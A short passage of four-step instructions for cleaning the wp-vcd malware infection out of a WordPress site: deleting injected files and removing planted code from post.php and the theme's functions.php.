You have to do 4 things.
The first step is to change the password of your WordPress site
The second step is to enter the wp-include folder in WordPress and delete two files named wp-vcd.php and class.wp.php.
The third step is to enter the wp-include folder and open the post.php file. If there is a word like wp-vcd at the beginning of the file, delete that function. (In some cases, it has been seen that this file is empty, but check it for sure)
Step 4: Open the functions.php file related to your template and the codes we put above are definitely visible, delete them at the beginning of your file and that’s it.
